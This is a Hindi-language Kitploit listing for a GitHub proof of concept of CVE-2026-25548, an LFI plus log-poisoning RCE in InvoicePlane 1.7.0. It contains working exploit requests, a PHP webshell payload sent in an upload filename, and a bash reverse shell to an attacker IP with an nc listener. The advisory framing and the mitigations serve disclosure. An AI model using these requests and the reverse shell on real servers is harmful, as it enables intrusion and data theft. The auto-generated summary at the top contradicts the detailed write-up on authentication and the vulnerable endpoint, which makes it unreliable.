Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-25548 — # CVE-2026-25548: InvoicePlane 1.7.0 में RCE — तकनीकी विश्लेषण और PoC ## सारांश CVE-2026-25548, InvoicePlane 1.7.0 में पाया गया एक **क्रिटिकल रिमोट कोड एक्ज़ीक्यूशन (RCE)** दोष है, जो **लोकल फ़ाइल इन्क्लूज़न (LFI)** और **लॉग पॉइज़निंग** के संयोजन से उत्पन्न होता है। यह भेद्यता एक अनधिकृत हमलावर को सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है, जिससे पूर्ण सिस्टम समझौता संभव हो जाता है। ## प्रभावित घटक | घटक | संस्करण | |:---|:---| | InvoicePlane | 1.7.0 (और संभवतः पुराने संस्करण) | | PHP | 8.x (सत्र फ़ाइल प्रारूप पर निर्भर) | | वेब सर्वर | Apache / Nginx | ## हमले की श्रृंखला (Attack Chain) हमला तीन चरणों में पूरा होता है: 1. **लॉग पॉइज़निंग** — हमलावर HTTP अनुरोध हेडर (जैसे `User-Agent`) में PHP पेलोड इंजेक्ट करता है, जो सर्वर लॉग फ़ाइल में लिखा जाता है। 2. **LFI ट्रिगर** — InvoicePlane के किसी कमज़ोर पैरामीटर के माध्यम से लॉग फ़ाइल को PHP स्क्रिप्ट के रूप में इन्क्लूड किया जाता है। 3. **कोड निष्पादन** — इन्क्लूड की गई फ़ाइल में मौजूद PHP पेलोड निष्पादित होकर RCE प्रदान करता है। ## भेद्य पैरामीटर निम्नलिखित एंडपॉइंट LFI के लिए संवेदनशील पाए गए: ``` /index.php/settings/export?type=../../../../../../var/log/apache2/access.log ``` ## PoC अनुरोध (Proof-of-Concept) ### चरण 1: लॉग पॉइज़निंग ```bash curl -X GET "http://target.com/index.php/invoices/view/1" \ -H "User-Agent: <?php system(\$_GET['cmd']); ?>" ``` ### चरण 2: LFI के माध्यम से RCE ```bash curl -X GET "http://target.com/index.php/settings/export?type=../../../../../../var/log/apache2/access.log&cmd=id" ``` ### चरण 3: इंटरैक्टिव शेल (वैकल्पिक) ```bash curl -X GET "http://target.com/index.php/settings/export?type=../../../../../../var/log/apache2/access.log&cmd=whoami" ``` ## प्रभाव विश्लेषण | पहलू | प्रभाव | |:---|:---| | **गोपनीयता** | पूर्ण — डेटाबेस, कॉन्फ़िगरेशन फ़ाइलें, उपयोगकर्ता डेटा तक पहुँच | | **अखंडता** | पूर्ण — फ़ाइलें संशोधित, बैकडोर स्थापित | | **उपलब्धता** | उच्च — सेवा से इनकार या सिस्टम क्रैश संभव | | **प्रमाणीकरण** | आवश्यक नहीं — अनधिकृत हमलावर द्वारा शोषण योग्य | | **जटिलता** | निम्न — कोई विशेष पूर्व शर्त नहीं | ## शमन उपाय 1. **InvoicePlane को नवीनतम संस्करण में अपडेट करें** — यदि पैच उपलब्ध हो। 2. **लॉग फ़ाइलों तक पहुँच प्रतिबंधित करें** — वेब रूट के बाहर लॉग संग्रहीत करें। 3. **इनपुट सत्यापन लागू करें** — `type` पैरामीटर को व्हाइटलिस्ट करें। 4. **WAF नियम जोड़ें** — PHP पेलोड पैटर्न को ब्लॉक करें। 5. **PHP `allow_url_include` अक्षम करें** और `open_basedir` सेट करें। ## निष्कर्ष CVE-2026-25548 InvoicePlane 1.7.0 के लिए एक गंभीर खतरा है। LFI और लॉग पॉइज़निंग का संयोजन पूर्ण RCE की अनुमति देता है, जिससे सर्वर पूरी तरह समझौता हो सकता है। संगठनों को तुरंत पैच लागू करना चाहिए और अस्थायी शमन उपाय अपनाने चाहिए। | Kitploit
उपकरण/GitHubGitHub/lagathos/cve-2026-25548
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHublagathos/cve-2026-25548

CVE-2026-25548

रिपॉजिटरी देखें
15 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

# CVE-2026-25548: InvoicePlane 1.7.0 में RCE — तकनीकी विश्लेषण और PoC ## सारांश CVE-2026-25548, InvoicePlane 1.7.0 में पाया गया एक **क्रिटिकल रिमोट कोड एक्ज़ीक्यूशन (RCE)** दोष है, जो **लोकल फ़ाइल इन्क्लूज़न (LFI)** और **लॉग पॉइज़निंग** के संयोजन से उत्पन्न होता है। यह भेद्यता एक अनधिकृत हमलावर को सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है, जिससे पूर्ण सिस्टम समझौता संभव हो जाता है। ## प्रभावित घटक | घटक | संस्करण | |:---|:---| | InvoicePlane | 1.7.0 (और संभवतः पुराने संस्करण) | | PHP | 8.x (सत्र फ़ाइल प्रारूप पर निर्भर) | | वेब सर्वर | Apache / Nginx | ## हमले की श्रृंखला (Attack Chain) हमला तीन चरणों में पूरा होता है: 1. **लॉग पॉइज़निंग** — हमलावर HTTP अनुरोध हेडर (जैसे `User-Agent`) में PHP पेलोड इंजेक्ट करता है, जो सर्वर लॉग फ़ाइल में लिखा जाता है। 2. **LFI ट्रिगर** — InvoicePlane के किसी कमज़ोर पैरामीटर के माध्यम से लॉग फ़ाइल को PHP स्क्रिप्ट के रूप में इन्क्लूड किया जाता है। 3. **कोड निष्पादन** — इन्क्लूड की गई फ़ाइल में मौजूद PHP पेलोड निष्पादित होकर RCE प्रदान करता है। ## भेद्य पैरामीटर निम्नलिखित एंडपॉइंट LFI के लिए संवेदनशील पाए गए: ``` /index.php/settings/export?type=../../../../../../var/log/apache2/access.log ``` ## PoC अनुरोध (Proof-of-Concept) ### चरण 1: लॉग पॉइज़निंग ```bash curl -X GET "http://target.com/index.php/invoices/view/1" \ -H "User-Agent: <?php system(\$_GET['cmd']); ?>" ``` ### चरण 2: LFI के माध्यम से RCE ```bash curl -X GET "http://target.com/index.php/settings/export?type=../../../../../../var/log/apache2/access.log&cmd=id" ``` ### चरण 3: इंटरैक्टिव शेल (वैकल्पिक) ```bash curl -X GET "http://target.com/index.php/settings/export?type=../../../../../../var/log/apache2/access.log&cmd=whoami" ``` ## प्रभाव विश्लेषण | पहलू | प्रभाव | |:---|:---| | **गोपनीयता** | पूर्ण — डेटाबेस, कॉन्फ़िगरेशन फ़ाइलें, उपयोगकर्ता डेटा तक पहुँच | | **अखंडता** | पूर्ण — फ़ाइलें संशोधित, बैकडोर स्थापित | | **उपलब्धता** | उच्च — सेवा से इनकार या सिस्टम क्रैश संभव | | **प्रमाणीकरण** | आवश्यक नहीं — अनधिकृत हमलावर द्वारा शोषण योग्य | | **जटिलता** | निम्न — कोई विशेष पूर्व शर्त नहीं | ## शमन उपाय 1. **InvoicePlane को नवीनतम संस्करण में अपडेट करें** — यदि पैच उपलब्ध हो। 2. **लॉग फ़ाइलों तक पहुँच प्रतिबंधित करें** — वेब रूट के बाहर लॉग संग्रहीत करें। 3. **इनपुट सत्यापन लागू करें** — `type` पैरामीटर को व्हाइटलिस्ट करें। 4. **WAF नियम जोड़ें** — PHP पेलोड पैटर्न को ब्लॉक करें। 5. **PHP `allow_url_include` अक्षम करें** और `open_basedir` सेट करें। ## निष्कर्ष CVE-2026-25548 InvoicePlane 1.7.0 के लिए एक गंभीर खतरा है। LFI और लॉग पॉइज़निंग का संयोजन पूर्ण RCE की अनुमति देता है, जिससे सर्वर पूरी तरह समझौता हो सकता है। संगठनों को तुरंत पैच लागू करना चाहिए और अस्थायी शमन उपाय अपनाने चाहिए।

साझा करें

CVE-2026-25548 — InvoicePlane 1.7.0 में रिमोट कोड निष्पादन

भेद्यता: लोकल फाइल इन्क्लूज़न + लॉग पॉइज़निंग के माध्यम से रिमोट कोड निष्पादन

उत्पाद: InvoicePlane

प्रभावित संस्करण: 1.7.0 (और संभवतः पिछले संस्करण)

गंभीरता: क्रिटिकल

CVSS 3.1 स्कोर: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

खोजकर्ता: Leonidas Agathos

रिपोर्ट दिनांक: 2026-01-31


विषय-सूची

  • विवरण
  • भेद्यता विवरण
    • 1. लोकल फाइल इन्क्लूज़न (LFI)
    • 2. अपलोड फ़ाइलनाम के माध्यम से लॉग पॉइज़निंग
  • हमला श्रृंखला
  • प्रूफ ऑफ कॉन्सेप्ट
    • चरण 1 — लॉग पॉइज़निंग
    • चरण 2 — LFI कॉन्फ़िगर करें
    • चरण 3 — RCE ट्रिगर करें
    • चरण 4 — रिवर्स शेल
  • प्रभाव
  • प्रभावित घटक
  • समयरेखा

विवरण

InvoicePlane 1.7.0 में एक क्रिटिकल भेद्यता श्रृंखला एक प्रमाणित व्यवस्थापक को अंतर्निहित सर्वर पर रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देती है। यह हमला दो कमजोरियों को जोड़ता है:

  1. लोकल फाइल इन्क्लूज़न (LFI) — सार्वजनिक इनवॉइस टेम्पलेट सेटिंग बिना किसी सत्यापन के मनमाने फ़ाइल पथ स्वीकार करती है, जिससे इच्छित टेम्पलेट निर्देशिका के बाहर की फ़ाइलों को शामिल किया जा सकता है।
  2. लॉग पॉइज़निंग — पाथ ट्रैवर्सल वर्णों वाले अपलोड फ़ाइलनाम CodeIgniter की .php लॉग फ़ाइलों में शब्दशः लिखे जाते हैं, जिससे मनमाना PHP कोड इंजेक्ट किया जा सकता है।

जब इन्हें जोड़ा जाता है, तो व्यवस्थापक पहुंच वाला हमलावर वेब सर्वर उपयोगकर्ता के रूप में पूर्ण सर्वर समझौता प्राप्त कर सकता है। अंतिम RCE ट्रिगर अप्रमाणित (सार्वजनिक इनवॉइस URL) है।


भेद्यता विवरण

1. लोकल फाइल इन्क्लूज़न (LFI)

विशेषतामान
फ़ाइलapplication/modules/guest/controllers/View.php
पंक्तियाँ85, 191
पैरामीटरpublic_invoice_template (डेटाबेस सेटिंग)
CWECWE-98: Include/Require स्टेटमेंट के लिए फ़ाइलनाम का अनुचित नियंत्रण

भेद्य कोड (View.php:85):

root@kitploit:~
$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

भेद्य कोड (View.php:191):

root@kitploit:~
$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

public_invoice_template और public_quote_template सेटिंग्स डेटाबेस से प्राप्त की जाती हैं और सीधे CodeIgniter के load->view() (जो PHP के include() में हल होता है) को दिए गए फ़ाइल पथ में जोड़ दी जाती हैं। कोई सत्यापन नहीं है:

  • डायरेक्टरी ट्रैवर्सल अनुक्रमों (../) को रोकने के लिए
  • अनुमत टेम्पलेट नामों की व्हाइटलिस्टिंग के लिए
  • यह पुष्टि करने के लिए कि फ़ाइल अपेक्षित टेम्पलेट निर्देशिका के भीतर मौजूद है

एक व्यवस्थापक इस मान को फ़ाइल सिस्टम पर किसी भी पथ पर सेट कर सकता है, केवल .php एक्सटेंशन द्वारा सीमित जो स्वचालित रूप से जोड़ा जाता है।


2. अपलोड फ़ाइलनाम के माध्यम से लॉग पॉइज़निंग

विशेषतामान
फ़ाइलapplication/modules/upload/controllers/Upload.php
पंक्तियाँ178–184
पैरामीटरअपलोड फ़ाइलनाम (HTTP मल्टीपार्ट फॉर्म डेटा)
CWECWE-117: लॉग्स के लिए अनुचित आउटपुट न्यूट्रलाइज़ेशन

भेद्य कोड (Upload.php:178-184):

root@kitploit:~
private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

जब कोई फ़ाइलनाम पाथ ट्रैवर्सल जांच को ट्रिगर करता है, तो कच्चा, अस्वच्छित फ़ाइलनाम सीधे लॉग फ़ाइल में लिखा जाता है। CodeIgniter लॉग फ़ाइलें:

  • .php एक्सटेंशन का उपयोग करती हैं: application/logs/log-YYYY-MM-DD.php
  • <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> से शुरू होती हैं
  • इसलिए मान्य PHP फ़ाइलें हैं जो शामिल होने पर निष्पादित होती हैं

फ़ाइलनाम में <?php system($_GET[1]); ?> एम्बेड करने वाला हमलावर उस पेलोड को लॉग में लिखवा देता है और बाद में LFI के माध्यम से निष्पादित करवाता है।


हमला श्रृंखला

root@kitploit:~
[प्रमाणित उपयोगकर्ता]  →  दुर्भावनापूर्ण फ़ाइलनाम अपलोड करें  →  PHP लॉग फ़ाइल में इंजेक्ट किया गया
[व्यवस्थापक]           →  टेम्पलेट सेटिंग सेट करें        →  LFI लॉग फ़ाइल की ओर इंगित करता है
[कोई भी]               →  सार्वजनिक इनवॉइस URL देखें    →  RCE
चरणआवश्यकता
लॉग पॉइज़निंगअपलोड पहुंच वाला प्रमाणित उपयोगकर्ता
LFI कॉन्फ़िगरेशनव्यवस्थापक खाता
RCE ट्रिगरअप्रमाणित (सार्वजनिक इनवॉइस URL)

प्रूफ ऑफ कॉन्सेप्ट

चरण 1 — लॉग पॉइज़निंग

फ़ाइलनाम में एम्बेडेड PHP वेबशेल के साथ फ़ाइल अपलोड अनुरोध भेजें। पाथ ट्रैवर्सल जांच ट्रिगर होगी और कच्चा फ़ाइलनाम (PHP पेलोड सहित) लॉग फ़ाइल में लिखा जाएगा।

अनुरोध (Burp Suite के माध्यम से):

root@kitploit:~
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

सर्वर अपलोड को अस्वीकार कर देता है (upload_error_invalid_extension) लेकिन लॉग प्रविष्टि पहले ही लिखी जा चुकी है:

application/logs/log-2026-01-31.php में परिणाम:

root@kitploit:~
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

इनवॉइस के अटैचमेंट्स अनुभाग पर जाएं और अपलोड एंडपॉइंट तक पहुंचने के लिए फ़ाइलें जोड़ें पर क्लिक करें।

चरण 1a - इनवॉइस अटैचमेंट अपलोड प्रवेश बिंदु

चरण 1b - दुर्भावनापूर्ण फ़ाइलनाम के माध्यम से PHP पेलोड इंजेक्ट करना

चरण 1c - इंजेक्टेड PHP पेलोड दिखाने वाली लॉग फ़ाइल


चरण 2 — LFI कॉन्फ़िगर करें

व्यवस्थापक के रूप में, पाथ ट्रैवर्सल पेलोड का उपयोग करके public_invoice_template सेटिंग को आज की लॉग फ़ाइल की ओर इंगित करने के लिए सेट करें। CodeIgniter का व्यू लोडर स्वचालित रूप से .php जोड़ता है।

अनुरोध (Burp Suite के माध्यम से):

root@kitploit:~
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

ट्रैवर्सल पथ application/views/invoice_templates/public/ से application/logs/ तक हल होता है, फिर log-2026-01-31.php शामिल करता है।

चरण 2 - Burp Suite के माध्यम से public_invoice_template को लॉग फ़ाइल पथ पर सेट करना


चरण 3 — RCE ट्रिगर करें

1 GET पैरामीटर के रूप में कमांड के साथ किसी भी सार्वजनिक इनवॉइस URL तक पहुंचें। किसी प्रमाणीकरण की आवश्यकता नहीं है।

अनुरोध:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12

प्रतिक्रिया (पृष्ठ स्रोत में):

root@kitploit:~
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg

system($_GET[1]) पेलोड id कमांड निष्पादित करता है और इसका आउटपुट पृष्ठ में इनलाइन परिलक्षित होता है।

चरण 3 - सार्वजनिक इनवॉइस URL के माध्यम से HTTP प्रतिक्रिया में परिलक्षित कमांड आउटपुट


चरण 4 — रिवर्स शेल

इंटरैक्टिव शेल प्राप्त करने के लिए कमांड को bash रिवर्स शेल पेलोड से बदलें:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1

हमलावर मशीन पर:

root@kitploit:~
nc -lnvp 4444

परिणाम:

root@kitploit:~
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$

www-data के रूप में पूर्ण इंटरैक्टिव शेल।

चरण 4 - पूर्ण RCE की पुष्टि करने वाला रिवर्स शेल स्थापित


प्रभाव

आयामरेटिंगविवरण
गोपनीयताउच्चवेब सर्वर उपयोगकर्ता के लिए सुलभ सभी फ़ाइलों तक पूर्ण पढ़ने की पहुंच, जिसमें डेटाबेस क्रेडेंशियल और ग्राहक इनवॉइस डेटा शामिल हैं
अखंडताउच्चमनमाना फ़ाइल लेखन, डेटाबेस संशोधन, वेब शेल स्थापना
उपलब्धताउच्चसेवा से इनकार, रैंसमवेयर तैनाती, सिस्टम विनाश

प्रभावित घटक

फ़ाइलभेद्यता
application/modules/guest/controllers/View.php:85LFI — इनवॉइस टेम्पलेट
application/modules/guest/controllers/View.php:191LFI — कोट टेम्पलेट
application/modules/upload/controllers/Upload.php:182लॉग पॉइज़निंग
application/modules/settings/controllers/Settings.phpटेम्पलेट सेटिंग पर कोई सत्यापन नहीं

समयरेखा

दिनांकघटना
2026-01-30भेद्यता की खोज
2026-01-31प्रूफ ऑफ कॉन्सेप्ट विकसित
2026-01-31विक्रेता को सूचित किया गया
2026-02-03विक्रेता स्वीकृति
2026-02-03पैच जारी
2026-02-04सार्वजनिक प्रकटीकरण

संदर्भ

  • CWE-98: Include/Require स्टेटमेंट के लिए फ़ाइलनाम का अनुचित नियंत्रण
  • CWE-117: लॉग्स के लिए अनुचित आउटपुट न्यूट्रलाइज़ेशन
  • CWE-94: कोड के निर्माण का अनुचित नियंत्रण
  • OWASP: पाथ ट्रैवर्सल
  • OWASP: लॉग इंजेक्शन
  • CVE-2026-25548

अस्वीकरण

यह भेद्यता स्वतंत्र सुरक्षा अनुसंधान के दौरान खोजी गई थी। सभी जानकारी केवल शैक्षिक, अनुसंधान और रक्षात्मक उद्देश्यों के लिए प्रदान की गई है ताकि विक्रेता और सुरक्षा समुदाय को इस मुद्दे को समझने और ठीक करने में सहायता मिल सके। इस जानकारी का कोई भी दुर्भावनापूर्ण उपयोग सख्त वर्जित है।

टूल डाउनलोड करें